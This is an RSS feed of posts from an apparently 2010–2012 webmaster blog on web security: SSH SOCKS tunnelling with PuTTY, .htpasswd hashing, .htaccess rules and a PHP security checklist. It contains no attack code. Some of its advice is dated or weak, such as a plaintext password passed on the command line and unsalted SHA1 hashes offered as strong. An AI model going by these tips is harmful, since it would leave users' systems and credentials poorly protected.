<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Kavoir &#187; Information Security</title>
	<atom:link href="http://www.kavoir.com/category/information-security/feed" rel="self" type="application/rss+xml" />
	<link>http://www.kavoir.com</link>
	<description>Just another dumbass webmaster, goofing around...</description>
	<lastBuildDate>Thu, 09 Feb 2012 01:59:17 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>SSH Web Hosting as Socks5 Proxy for VPN Tunnels via PuTTY</title>
		<link>http://www.kavoir.com/2011/09/ssh-web-hosting-as-socks5-proxy-for-vpn-tunnels-via-putty.html</link>
		<comments>http://www.kavoir.com/2011/09/ssh-web-hosting-as-socks5-proxy-for-vpn-tunnels-via-putty.html#comments</comments>
		<pubDate>Fri, 30 Sep 2011 08:55:58 +0000</pubDate>
		<dc:creator>Yang Yang</dc:creator>
				<category><![CDATA[Hosting Tips & Deals]]></category>
		<category><![CDATA[Information Security]]></category>

		<guid isPermaLink="false">http://www.kavoir.com/2011/09/ssh-web-hosting-as-socks5-proxy-for-vpn-tunnels-via-putty.html</guid>
		<description><![CDATA[Few know that those who have web hosting are at the same time endowed with a free VPN (Virtual Private Network, a very safe connection to transfer important data). With a few simple steps by the help of PuTTY, the tiny legendary SSH program, anyone with a web hosting account can have a private VPN [...]]]></description>
			<content:encoded><![CDATA[<p></p><p><img style="background-image: none; padding-left: 0px; padding-right: 0px; display: inline; float: right; padding-top: 0px; border: 0px;" title="ssh console" src="http://www.kavoir.com/wp-content/uploads/2011/09/console_guake_ssh_icon.jpg" alt="ssh console" width="121" height="94" align="right" border="0" />Few know that those who have web hosting are at the same time endowed with a <strong>free VPN</strong> (Virtual Private Network, a very safe connection to transfer important data). With a few simple steps by the help of <a href="http://www.chiark.greenend.org.uk/~sgtatham/putty/">PuTTY</a>, the tiny legendary SSH program, anyone with a web hosting account can have a private VPN that’s dedicated, premium and only limited by the monthly bandwidth of your hosting account. This is the safest VPN because it’s not even monitored by the VPN company. It’s completely YOURS.</p>

<p>Before proceeding, you need to make sure your hosting account has SSH enabled. Most hosts offer that nowadays.</p>
<h2>What you will get?</h2>
<p>You will have an awesome auto-login VPN program on your Windows desktop via SSH tunnels, based on PuTTY. Should get you the same thing on other systems following the same steps outlined below.</p>
<p>Double click to start the program, and a dedicated socks5 proxy will be established on your local computer which connects to your hosting server to form a VPN you can use.</p>
<h2>How to get it?</h2>
<p>To turn your web hosting account into a private VPN so you can use it to surf the web safely and anonymously, simply follow these steps:</p>
<ol>
<li>Finish these steps: <a href="http://www.shanghaiwebhosting.com/web-hosting/use-your-web-hosting-ssh-session-as-a-tunnel-for-socks5-proxy-server">http://www.shanghaiwebhosting.com/web-hosting/use-your-web-hosting-ssh-session-as-a-tunnel-for-socks5-proxy-server</a></li>
<li>In step 4 at the above URL, you will save the session and give it a name, e.g. ‘my_server’.</li>
<li>Create a shortcut of this command: <code><strong>C:\tools\putty.exe</strong> -load my_server -l <strong>your_user_name</strong> -pw <strong>your_password</strong></code></li>
</ol>
<p>Make sure to use your own path to putty.exe rather than &#8220;C:\tools\putty.exe&#8221;.</p>
<p>The 3rd step is what makes all the difference – manual login or auto-login.</p>
<p>Without the 3rd step, you could still establish the VPN connection but you need to manually enter user name and password every time you start the SSH session. To make things simple, you want PuTTY to auto-login with pre-entered user name and password. That’s where the command line shortcut comes in.</p>
<p>The <strong>-load</strong> directive loads the saved session, <strong>-l</strong> specifies the SSH login user name, and <strong>-pw</strong> specifies the SSH password.</p>
<h2>Double click, and that’s it!</h2>
<p>Double click the shortcut and an SSH session window will be opened, PuTTY then automatically logs in with the user name and password you provided. If the auto-login is successful, a connection to your hosting server is established, thus VPN created.</p>
<p>Simply leave the session window open and configure your web browser to use ‘<strong>localhost</strong>’ as socks5 proxy on port ‘<strong>8844</strong>’ (you can specify a different port in Step 3 of <a href="http://www.shanghaiwebhosting.com/web-hosting/use-your-web-hosting-ssh-session-as-a-tunnel-for-socks5-proxy-server">this article</a>), and you will be surfing the web safely and anonymously on a privately premium VPN!</p>
<p>Note that all your browsing traffic is counted on your web hosting&#8217;s monthly bandwidth bills. Think twice when you want to perform large downloads (such as 5GBs or larger) because they might end up being a bit costy.<br />
<h3>Related Posts:</h3>
<ul class="similar-posts">
<li><a href="http://www.kavoir.com/2009/04/screw-all-those-unusable-proxy-server-lists-build-your-own-stable-socks5-proxy-server-in-minutes.html" rel="bookmark" title="April 2, 2009">Dismiss unusable proxy server lists &#8211; Build your own stable socks5 proxy server and surf anonymously in minutes!</a></li>
<li><a href="http://www.kavoir.com/2009/11/how-to-change-cj-password-of-commission-junction.html" rel="bookmark" title="November 21, 2009">How to change CJ password? (of Commission Junction)</a></li>
<li><a href="http://www.kavoir.com/2009/06/reset-mysql-root-password-after-you-forgot-or-lost-it.html" rel="bookmark" title="June 20, 2009">How to Recover or Reset MySQL root Password after You Forgot and Lost It</a></li>
<li><a href="http://www.kavoir.com/2010/09/shady-godaddy-how-to-cancel-private-registration-for-your-domain-renewals.html" rel="bookmark" title="September 9, 2010">Shady GoDaddy: How to cancel private registration for your domain renewals?</a></li>
<li><a href="http://www.kavoir.com/2010/03/paypal-access-limitation-after-closing-browser-window-and-opening-it-again.html" rel="bookmark" title="March 1, 2010">PayPal Account Access Limitation after Closing Browser Window and Opening It Again</a></li>
</ul>
<p><!-- Similar Posts took 9.375 ms --></p>
]]></content:encoded>
			<wfw:commentRss>http://www.kavoir.com/2011/09/ssh-web-hosting-as-socks5-proxy-for-vpn-tunnels-via-putty.html/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>How to create / generate .htpasswd password with PHP dynamically?</title>
		<link>http://www.kavoir.com/2010/09/how-to-create-generate-htpasswd-password-with-php-dynamically.html</link>
		<comments>http://www.kavoir.com/2010/09/how-to-create-generate-htpasswd-password-with-php-dynamically.html#comments</comments>
		<pubDate>Sat, 18 Sep 2010 05:42:13 +0000</pubDate>
		<dc:creator>Yang Yang</dc:creator>
				<category><![CDATA[Information Security]]></category>
		<category><![CDATA[PHP Tips & Tutorials]]></category>

		<guid isPermaLink="false">http://www.kavoir.com/2010/09/how-to-create-generate-htpasswd-password-with-php-dynamically.html</guid>
		<description><![CDATA[The easy way to add a username and password pair in the .htpasswd file is to use an online password generator tool that converts the clear text password into its hash, a.k.a. the encrypted password. The problem with this approach is that you have to manually create the pair and append it to .htpasswd. Is [...]]]></description>
			<content:encoded><![CDATA[<p></p><p>The easy way to add a username and password pair in the .htpasswd file is to use an online password generator tool that converts the clear text password into its hash, a.k.a. the encrypted password. The problem with this approach is that you have to manually create the pair and append it to .htpasswd. Is there a way to dynamically generate encrypted passwords for .htpasswd in PHP?</p>

<p>According to <a href="http://httpd.apache.org/docs/2.2/misc/password_encryptions.html">http://httpd.apache.org/docs/2.2/misc/password_encryptions.html</a>, we have come up with the following solution:</p>
<pre><code>$pass = 'YourClearTextPasswordString';
$hash = base64_encode(sha1($pass, true));
$encoded = '{SHA}'.$hash;
echo $encoded;</code></pre>
<p>And <code>$encoded</code> is the result we need, which would look something like:</p>
<pre><code>{SHA}hNz9UE9WLiMlzYI+LRtwr0U+DHY=</code></pre>
<p>Suppose the username is ‘manager’ and you can add the following line at the end of your .htpasswd file to make the credentials in effect:</p>
<pre><code>manager:{SHA}hNz9UE9WLiMlzYI+LRtwr0U+DHY=</code></pre>
<p>You can also write / append this to the file by PHP but that’s not covered here.</p>
<p>What’s better, the SHA1 algorithm is much more advanced than DES which most of the online .htpasswd generation tool still uses to generate the hash string of the clear password for you. DES supports only 8 digits and that’s where lengthy passwords fail.</p>
<h3>Related Posts:</h3>
<ul class="similar-posts">
<li><a href="http://www.kavoir.com/2009/04/the-secure-way-to-store-passwords-with-php.html" rel="bookmark" title="April 20, 2009">The Secure Way to Store Passwords with PHP</a></li>
<li><a href="http://www.kavoir.com/2009/04/php-what-is-hash-hashing-a-string-generate-hash-of-strings.html" rel="bookmark" title="April 22, 2009">PHP: What is Hash? | Hashing a String | Generate Hash of Strings</a></li>
<li><a href="http://www.kavoir.com/2010/03/just-hashing-is-far-from-enough-how-to-position-against-dictionary-and-rainbow-attacks.html" rel="bookmark" title="March 4, 2010">Just Hashing is Far from Enough for Storing Passwords &ndash; How to Position against Dictionary and Rainbow Table Attacks</a></li>
<li><a href="http://www.kavoir.com/2007/03/essential-ssh.html" rel="bookmark" title="March 29, 2007">Essential SSH &#8211; 19 Linux SSH Commands You Simply Cannot Live Without</a></li>
<li><a href="http://www.kavoir.com/2009/04/paircom-hosting-coupons-and-promo-codes-bonus-paircom-control-panel-screenshots.html" rel="bookmark" title="April 19, 2009">Pair.com Hosting Coupons and Promo Codes (Bonus: Pair.com Control Panel Screenshots)</a></li>
</ul>
<p><!-- Similar Posts took 3.977 ms --></p>
]]></content:encoded>
			<wfw:commentRss>http://www.kavoir.com/2010/09/how-to-create-generate-htpasswd-password-with-php-dynamically.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Use .htaccess to allow access only from a single HTTP referrer</title>
		<link>http://www.kavoir.com/2010/05/use-htaccess-to-allow-access-only-from-a-single-http-referrer.html</link>
		<comments>http://www.kavoir.com/2010/05/use-htaccess-to-allow-access-only-from-a-single-http-referrer.html#comments</comments>
		<pubDate>Sun, 30 May 2010 13:44:57 +0000</pubDate>
		<dc:creator>Yang Yang</dc:creator>
				<category><![CDATA[.htaccess Tutorials & Tips]]></category>
		<category><![CDATA[Information Security]]></category>

		<guid isPermaLink="false">http://www.kavoir.com/2010/05/use-htaccess-to-allow-access-only-from-a-single-http-referrer.html</guid>
		<description><![CDATA[Sometimes you want the user to access something (a web page or a downloadable file) only by clicking a link on your own website instead of being able to directly access it by typing in the URL address in the browser address bar. This is achievable by a few lines in .htaccess. RewriteEngine On RewriteCond [...]]]></description>
			<content:encoded><![CDATA[<p></p><p>Sometimes you want the user to access something (a web page or a downloadable file) only by clicking a link on your own website instead of being able to directly access it by typing in the URL address in the browser address bar. This is achievable by a few lines in .htaccess.<span id="more-1937"></span></p>
<pre><code>RewriteEngine On
RewriteCond %{<strong>HTTP_REFERER</strong>} !(www.)?example.com/download-page.php
RewriteRule .* - [F]</code></pre>
<p>Write down the above lines in the .htaccess of the directory that you want users to access only by clicking links on <a href="http://www.example.com/download-page.php" rel="nofollow">http://www.example.com/download-page.php</a> or <a href="http://example.com/download-page.php" rel="nofollow">http://example.com/download-page.php</a>. Direct access to download stuff from the directory or from any other HTTP referrer will fail.</p>
<p>While this may not be bullet proof as referral information can be faked from the client side, it is a simple solution that should suffice in most cases. For example, this can be used to prevent hot linking from other websites that link directly to something on your website, reducing traffic stealing.<br />
<h3>Related Posts:</h3>
<ul class="similar-posts">
<li><a href="http://www.kavoir.com/2010/03/php-how-to-detect-get-the-real-client-ip-address-of-website-visitors.html" rel="bookmark" title="March 4, 2010">PHP: How to detect / get the real client IP address of website visitors?</a></li>
<li><a href="http://www.kavoir.com/2009/01/htaccess-deny-from-all-restrict-directory-access.html" rel="bookmark" title="January 27, 2009">.htaccess: Deny From All &#8211; Prohibit, Forbid or Restrict Directory Access</a></li>
<li><a href="http://www.kavoir.com/2010/08/how-to-hide-and-force-the-visitor-to-click-your-referral-or-affiliate-link.html" rel="bookmark" title="August 21, 2010">How to hide and force the visitor to click your referral or affiliate link?</a></li>
<li><a href="http://www.kavoir.com/2010/05/simplest-php-hit-counter-or-download-counter-count-the-number-of-times-of-access-visits-or-downloads.html" rel="bookmark" title="May 19, 2010">Simplest PHP Hit Counter or Download Counter &ndash; Count the Number of Times of Access (Page Views or File Downloads)</a></li>
<li><a href="http://www.kavoir.com/2010/05/turn-off-and-disable-magic_quotes_gpc-in-htaccess.html" rel="bookmark" title="May 11, 2010">Turn off and disable magic_quotes_gpc in .htaccess</a></li>
</ul>
<p><!-- Similar Posts took 3.226 ms --></p>
]]></content:encoded>
			<wfw:commentRss>http://www.kavoir.com/2010/05/use-htaccess-to-allow-access-only-from-a-single-http-referrer.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Turn off and disable magic_quotes_gpc in .htaccess</title>
		<link>http://www.kavoir.com/2010/05/turn-off-and-disable-magic_quotes_gpc-in-htaccess.html</link>
		<comments>http://www.kavoir.com/2010/05/turn-off-and-disable-magic_quotes_gpc-in-htaccess.html#comments</comments>
		<pubDate>Tue, 11 May 2010 09:21:02 +0000</pubDate>
		<dc:creator>Yang Yang</dc:creator>
				<category><![CDATA[.htaccess Tutorials & Tips]]></category>
		<category><![CDATA[Information Security]]></category>
		<category><![CDATA[PHP Tips & Tutorials]]></category>

		<guid isPermaLink="false">http://www.kavoir.com/2010/05/turn-off-and-disable-magic_quotes_gpc-in-htaccess.html</guid>
		<description><![CDATA[It’s not only insecure but it inconveniently commands the use of PHP function stripslashes() every time you pull something from the database or when you get something from the client side. While most of the hosts out there are using factory settings of PHP that turn off magic_quotes_gpc by default, there are a few that [...]]]></description>
			<content:encoded><![CDATA[<p></p><p>It’s not only insecure but it inconveniently commands the use of PHP function stripslashes() every time you pull something from the database or when you get something from the client side. While most of the hosts out there are using factory settings of PHP that turn off <strong>magic_quotes_gpc</strong> by default, there are a few that don’t.</p>

<p>The value of magic_quotes_gpc cannot be set with the ini_set() function after PHP 4.2.3, some hosts enable custom php.ini in your home directory which you can use to set magic_quotes_gpc to 0 (zero) or false. Otherwise, you’d have to resort to .htaccess to set the PHP configuration values for your local directories.</p>
<p>To turn off <strong>magic_quotes</strong> and <strong>magic_quotes_gpc</strong> off in .htaccess, simply put these lines in the <strong>.htaccess</strong> file of your site / directory wherein you want magic_quotes or magic_quotes_gpc disabled:</p>
<pre><code>php_value magic_quotes 0
php_flag magic_quotes off
php_value magic_quotes_gpc 0
php_flag magic_quotes_gpc off</code></pre>
<h3>Related Posts:</h3>
<ul class="similar-posts">
<li><a href="http://www.kavoir.com/2011/05/php-explore-display-contents-of-directory-recursively.html" rel="bookmark" title="May 10, 2011">PHP: Display Files and Sub-directories of A Directory Recursively as A Tree</a></li>
<li><a href="http://www.kavoir.com/2009/01/htaccess-directory-listing-enable-web-directory-browsing-indexing.html" rel="bookmark" title="January 27, 2009">.htaccess: Directory Listing – Enable Web Directory Browsing &#038; Indexing</a></li>
<li><a href="http://www.kavoir.com/2009/01/htaccess-deny-from-all-restrict-directory-access.html" rel="bookmark" title="January 27, 2009">.htaccess: Deny From All &#8211; Prohibit, Forbid or Restrict Directory Access</a></li>
<li><a href="http://www.kavoir.com/2010/08/how-to-get-all-the-sub-directories-of-a-given-directory-in-php.html" rel="bookmark" title="August 1, 2010">How to get all the sub-directories of a given directory in PHP?</a></li>
<li><a href="http://www.kavoir.com/2009/04/php-randomizing-all-lines-of-a-file-shuffle-lines-in-a-text-file.html" rel="bookmark" title="April 22, 2009">PHP: Randomizing All Lines of a File &ndash; Shuffle Lines in a Text File</a></li>
</ul>
<p><!-- Similar Posts took 4.941 ms --></p>
]]></content:encoded>
			<wfw:commentRss>http://www.kavoir.com/2010/05/turn-off-and-disable-magic_quotes_gpc-in-htaccess.html/feed</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>PHP Security Guide &amp; Checklist for Websites and Web Applications &#8211; Bottom Line for Every Good PHP Developer</title>
		<link>http://www.kavoir.com/2010/03/php-security-checklist-for-websites-and-web-applications-bottom-line-for-every-good-php-developers.html</link>
		<comments>http://www.kavoir.com/2010/03/php-security-checklist-for-websites-and-web-applications-bottom-line-for-every-good-php-developers.html#comments</comments>
		<pubDate>Tue, 09 Mar 2010 01:56:18 +0000</pubDate>
		<dc:creator>Yang Yang</dc:creator>
				<category><![CDATA[Information Security]]></category>
		<category><![CDATA[PHP Tips & Tutorials]]></category>

		<guid isPermaLink="false">http://www.kavoir.com/2010/03/php-security-checklist-for-websites-and-web-applications-bottom-line-for-every-good-php-developers.html</guid>
		<description><![CDATA[It’s not easy to become a great PHP developer which may very well take years of training and practice, but this doesn&#8217;t mean you shouldn&#8217;t do your best to not be a bad one that undermines every project he’s involved in. Based on the project experiences of my team and some recent researches done on [...]]]></description>
			<content:encoded><![CDATA[<p></p><p><img class="alignright" title="web security stats" alt="web security statistics" src="http://www.kavoir.com/wp-content/uploads/2010/03/websecuritystats.gif" /> It’s not easy to become a great PHP developer which may very well take years of training and practice, but this doesn&#8217;t mean you shouldn&#8217;t do your best to not be a bad one that undermines every project he’s involved in. Based on the project experiences of my team and some recent researches done on PHP security issues, I have come up with a list of things you should know and do in your PHP code to achieve this goal. A few of them may be subjective and opinionated but most of them are actually security bottom lines that every self-deemed good PHP developer must definitely adhere to.</p>

<p>Below is a statistic breakdown of web security vulnerabilities in the first half of 2009, to give you a rough idea of what are the major security problems websites and web applications suffer:</p>
<p><img title="web security vulnerabilities by type 2009" alt="web security vulnerabilities by type 2009" src="http://www.kavoir.com/wp-content/uploads/2010/03/websecurityvulnerabilitiesbytype2009.jpg" /></p>
<p>You can download the <a href="http://www.cenzic.com/downloads/Cenzic_AppSecTrends_Q1-Q2-2009.pdf">full version in PDF</a> prepared by <a href="http://www.cenzic.com/">Cenzic</a>. It has some very interesting web attacks data.</p>
<p>There are a lot more to consider other than PHP to secure your application. This is just a starting point if you are not also a system administrator who is equally responsible in maintaining a secure server (OS, web server, etc.). Oh and there’s browser security (such as phishing) that you essentially have no control over. So we will just stick to PHP here.</p>
<h2>php.ini</h2>
<p>Some of the default settings in php.ini in earlier PHP versions are pretty dangerous. Modify the original php.ini if you are a server administrator or create custom php.ini in the <strong>webroot</strong> (directory of the web documents, accessible to the public via web server) to override the unsafe settings or use in-code functions such as <a href="http://www.php.net/ini_set">ini_set</a>():</p>
<ol>
<li>Disable register_globals and don’t rely on it in your code:
<pre><code>register_globals = Off</code></pre>
</li>
<li>Disable magic quotes and don’t rely on it in your code:
<pre><code>magic_quotes_gpc = Off</code></pre>
</li>
<li>Disable error reporting:
<pre><code>display_errors = Off</code></pre>
<p>This is for production deployment, otherwise achievable runtime by <code>error_reporting(0)</code>. For development and debugging, make sure you turn on the full error reporting in your code by <code>error_reporting(E_ALL)</code> so that you get a full grip of what’s going on with your application. </p>
<p></li>
<li>Enable error logging and save the log file to a directory below webroot:
<pre><code>log_errors = On
ignore_repeated_errors = On
html_errors = Off
error_log = /path/below/webroot/logs/php_error_log</code></pre>
<p>Normally the errors will be displayed to the users / crackers when something goes wrong thus disclosing internal information about your application. Now that we have disallowed them to display publicly, enabling error logging helps capture all PHP errors and store them somewhere the users / crackers cannot access yet we can retrieve and analyze when necessary. </p>
<p></li>
<li>Store session data below webroot:
<pre><code>session.save_path = /path/below/webroot/sessions</code></pre>
</li>
</ol>
<p>In most cases, you don’t have to worry about more than just the error logging part because the most up-to-date version of PHP has been well optimized in security by default. For example, register_globals and magic_quotes_gpc are turned off as factory settings, and session data is automatically stored outside of webroot. Other than these, feel free to override things by the ini_set() function when you feel obligated to.</p>
<p>Note that magic_quotes_gpc cannot be set by ini_set() any more after PHP version 4.2.3, you have to do it in a local php.ini or <a href="http://www.kavoir.com/2010/05/turn-off-and-disable-magic_quotes_gpc-in-htaccess.html">.htaccess</a>.</p>
<h2>.htaccess</h2>
<p>Disable directory listing site wide by adding this line to the .htaccess file (hidden) placed in the document root of your domain:</p>
<pre><code>Options -Indexes</code></pre>
<p>And allow it in the specific directory where it is absolutely necessary and no files that are meant to be shown publicly are stored:</p>
<pre><code>Options +Indexes</code></pre>
<h2>Valuable files and sensitive data</h2>
<p>This includes member only materials, administrator stuff and site wide configuration files containing the vital data of your site, or whatever you feel uncomfortable exposed to the public. In fact, if you are having doubts whether some file is all right to be exposed, don&#8217;t expose it at all.</p>
<ol>
<li>Store them below (outside) webroot so they cannot be retrieved by anyone via web server requests. </li>
<li><a href="http://www.kavoir.com/2009/05/php-hide-the-real-file-url-and-provide-download-via-a-php-script.html">Hide the file path and use a PHP script to provide download of it</a>. </li>
</ol>
<h2>Uploaded files</h2>
<p>Compulsory security practices when handling <a href="http://www.kavoir.com/2009/01/php-file-upload-class.html">uploaded</a> files:</p>
<ol>
<li>Validate the file name in $_FILES against potential data manipulation. For instance, discard anything that’s not alphanumeric or dot in the file name string. </li>
<li>Validate the mime type against potential spoof and discard anything that seems not what you expect. </li>
<li>After validation, change the file name and move it somewhere confidential below webroot. You can also optionally <a href="http://www.kavoir.com/2009/05/php-compress-files-into-tar-or-zip-make-a-zip-file-or-tar-file-with-php.html">tar</a> it for storing. </li>
<li>Never execute / serve uploaded files with include() nor require(). </li>
<li>Never serve files with mime types of “application/octet-stream”, “application/unknown” nor “plain/text”. </li>
</ol>
<h2>Incoming requests</h2>
<p><strong>Cross Site Request Forgery (CSRF)</strong> Attacks: Just as the name suggests, the request is forged / fabricated from the authenticated user’s computer yet without his awareness and acknowledgement. For example, the malicious attacker creates a sneaky link (<strong>Clickjacking</strong>) or a form and manages to trick the legally logged user to use it to submit a hidden request to your application to perform something that he doesn’t authorize at all such as deletion. To prevent it:</p>
<ol>
<li>Create a confirmation page for the legitimate user to make a final call by clicking ‘Yes’ or ‘No’. The request is then submitted to the server by POST method. Don’t just delete something (or perform other important operations) upon a simple GET request. </li>
<li>Generate a unique token (whatever name = value) in the user’s session and include it in every form as a hidden field so whenever the user submits a POST request, you can check if the form contains the correct token against that in the session variable to make sure if it is submitted by the user by true intentions. </li>
</ol>
<h2>Incoming / User provided data</h2>
<p>Always <strong>filter or sanitize</strong> incoming data in $_GET, $_POST, $_COOKIE or $_REQUEST before using them in your code. Validate that a value is just what you expect and discard any characters suspicious / unneeded. Better yet, white list a few value prototypes by regular expressions and ignore anything that doesn’t match the criteria.</p>
<p><strong>Path Traversal</strong> Attacks: By browsing through and trying different combinations of path input to your application, the cracker aims to access files and directories outside of the webroot, probably with a chain of ‘../’ in the path input. To prevent the attack:</p>
<ol>
<li>Never use user input data directly in your code before it is sanitized or tested against the white list, especially when it is used to determine the subject of file open, include / require, file create and file delete operations. </li>
<li>Let users select indexes rather than the literal path string / file name. For example, open file “/home/test/whatever.txt” when “7” is selected by the user. </li>
<li>In fact, don’t give users the chance to make the call of which file / path to be used / included at all. </li>
<li>Don’t disclose your directory structure to the users in any way, for example, as a hidden field in the form. </li>
</ol>
<p><strong>SQL Injection</strong> Attacks: Exploits of secure vulnerabilities that occur in the database layer of an application wherein user input is not filtered for reserved characters that may cause the database to falsely interpret and execute the SQL query. To prevent this attack:</p>
<ol>
<li><a href="http://www.kavoir.com/2009/01/php-escape-string-for-sql-mysqlireal_escape_string-and-pdo.html">Escape a string value before using it as part of a SQL query</a>:
<pre><code>$mysqli -&gt; real_escape_string($str)</code></pre>
<p>You can also use <a href="http://www.php.net/manual/en/pdo.prepare.php">PDO to prepare the SQL queries</a>, which will automatically sanitize any literal values by escaping it before using them in the query. </li>
</ol>
<p><strong>Cross-Site Scripting (XSS)</strong> Attacks: Or JavaScript injection, security vulnerabilities that allow malicious users to inject HTML code into your web pages that other users can view and execute. It can mess up the page, more fatally, it can load an arbitrary JavaScript script (hosted on another domain) in the user’s browser and steal their cookies thus identity. To prevent this attack:</p>
<ol>
<li><a href="http://www.kavoir.com/2010/03/php-setcookie-with-httponly-option-to-prevent-xss-cross-site-scripting-attacks.html">Cookie should be set with the HttpOnly option enabled (true)</a>. </li>
<li>Escape anything and everything that goes live on a web page to be seen by your users:
<pre><code><a href="http://www.kavoir.com/2009/06/php-difference-between-htmlspecialchars-and-htmlentities-functions.html">htmlentities</a>($str)</code></pre>
</li>
</ol>
<h2>Passwords</h2>
<ol>
<li>Optionally enforce strong passwords to your users by only accepting passwords of certain lengths and complexity. </li>
<li>Never store plain text passwords in your database. Instead, <a href="http://www.kavoir.com/2010/03/just-hashing-is-far-from-enough-how-to-position-against-dictionary-and-rainbow-attacks.html">salt and hash the passwords</a>. Bottom line is sha1(). Better yet, use <a href="http://www.php.net/hash">hash</a>() with various more advanced algorithms. Never use md5(). </li>
<li>Optionally use <a href="http://www.codinghorror.com/blog/2005/07/passwords-vs-pass-phrases.html">pass phrases</a> instead of passwords. </li>
</ol>
<h2>Sessions</h2>
<ol>
<li>Regenerate the session ID every time a user’s privileges are upgraded, for example, from visitor to registered member by logging in or from registered member to administrator by further logging in the administrator control panel:
<pre><code>session_regenerate_id();</code></pre>
</li>
<li>Completely destroy session variables (not just empty them) by:
<pre><code>session_destroy();</code></pre>
</li>
<li>Store IP address of initial authentication in session variables and compare request source IP every time you receive a request from the user. However, <a href="http://www.kavoir.com/2010/03/php-how-to-detect-get-the-real-client-ip-address-of-website-visitors.html">IP address</a> can unexpectedly change during a legal session and can be a public proxy in the first place. </li>
</ol>
<h2>Cookies</h2>
<ol>
<li>When you need to wipe out some cookie variable, delete it from both the user&#8217;s browser AND your server:
<pre><code>setcookie('SomeCookie', '', time() - 3600); // deletes it from client side
unset($_COOKIE['SomeCookie']); // deletes it from server side</code></pre>
</li>
</ol>
<h2>Other things to consider</h2>
<ol>
<li>All helper / utility scripts in your application that helps develop and debug should be <strong>removed</strong> from the production deployment. Only necessary files are to remain. </li>
<li><strong>Never talk about</strong> your application structure or any other vital information regarding it as real examples in public places such as developer / server administrator discussion boards. </li>
<li>Maintain your own private PHP framework to employ these security practices <strong>in a general level</strong>. So you will not need to worry about the security particulars of all the projects that derive from this framework. Or use one of the <a href="http://cakephp.org/">popular</a> <a href="http://codeigniter.com/">PHP</a> <a href="http://framework.zend.com/">frameworks</a> who have gone a long way in security and have been broadly tested by thousands of projects and billions of end users. </li>
<li>It’s not enough to just check and fix your code against these attacks. You have to <strong>assimilate</strong> these attack prevention tips into your daily coding arsenal and make them <strong>as natural as they must be done</strong> wherever they are needed. They have to become part of your blood and just feel right to you. Bobince makes <a href="http://stackoverflow.com/questions/2119083/php-tutorial-that-is-security-accuracy-and-maintainability-conscious">a good point</a> on this by asking for a PHP tutorial that preaches the right thing from the very beginning. For example, when you echo something with PHP to the output, even if you are an absolute beginner, it doesn’t absolve you from escaping them first:
<pre><code>$str = 'Hi, I\'m on a web page.';
echo htmlentities($str);</code></pre>
</li>
</ol>
<p>Please don’t hesitate to tip in by commenting below to make this security checklist as complete and useful as possible. To start a serious learning session of <a href="http://www.kavoir.com/2010/03/web-application-security-must-read-books-the-best-at-amazon.html">developing secure web applications, these books</a> will provide a kickass ride for you.</p>
<h3>Related Posts:</h3>
<ul class="similar-posts">
<li><a href="http://www.kavoir.com/2010/03/php-setcookie-with-httponly-option-to-prevent-xss-cross-site-scripting-attacks.html" rel="bookmark" title="March 4, 2010">PHP: setcookie() with HttpOnly Option to Reduce XSS (Cross Site Scripting) Attacks by Preventing JavaScript from Reading Cookies</a></li>
<li><a href="http://www.kavoir.com/2010/02/a-few-database-security-tips-things-to-do-to-effectively-protect-mysql-databases.html" rel="bookmark" title="February 10, 2010">A few database security tips &ndash; things to do to effectively protect MySQL databases</a></li>
<li><a href="http://www.kavoir.com/2009/11/how-to-recover-lost-firefox-bookmarks-where-is-my-firefox-bookmarks-folder.html" rel="bookmark" title="November 12, 2009">How to recover lost Firefox bookmarks? Where is my Firefox bookmarks folder?</a></li>
<li><a href="http://www.kavoir.com/2009/04/php-change-error-reporting-level.html" rel="bookmark" title="April 22, 2009">PHP: Change Error Reporting Level | Different PHP Error Types</a></li>
<li><a href="http://www.kavoir.com/2010/03/web-application-security-must-read-books-the-best-at-amazon.html" rel="bookmark" title="March 6, 2010">Web Application Security Books (PHP, MySQL, Apache), the Best at Amazon</a></li>
</ul>
<p><!-- Similar Posts took 9.123 ms --></p>
]]></content:encoded>
			<wfw:commentRss>http://www.kavoir.com/2010/03/php-security-checklist-for-websites-and-web-applications-bottom-line-for-every-good-php-developers.html/feed</wfw:commentRss>
		<slash:comments>18</slash:comments>
		</item>
		<item>
		<title>Web Application Security Books (PHP, MySQL, Apache), the Best at Amazon</title>
		<link>http://www.kavoir.com/2010/03/web-application-security-must-read-books-the-best-at-amazon.html</link>
		<comments>http://www.kavoir.com/2010/03/web-application-security-must-read-books-the-best-at-amazon.html#comments</comments>
		<pubDate>Sat, 06 Mar 2010 11:31:09 +0000</pubDate>
		<dc:creator>Yang Yang</dc:creator>
				<category><![CDATA[Information Security]]></category>
		<category><![CDATA[LAMP Developer Books]]></category>

		<guid isPermaLink="false">http://www.kavoir.com/2010/03/web-application-security-must-read-books-the-best-at-amazon.html</guid>
		<description><![CDATA[Security may not make you but it sure can break you. As modern web applications become more and more complexed puzzles and filled with thousands of features catering to a spectrum of user preferences and tastes, the developers are burdened with ever-going responsibilities to keep them sound and safe. There are people (crackers) out there [...]]]></description>
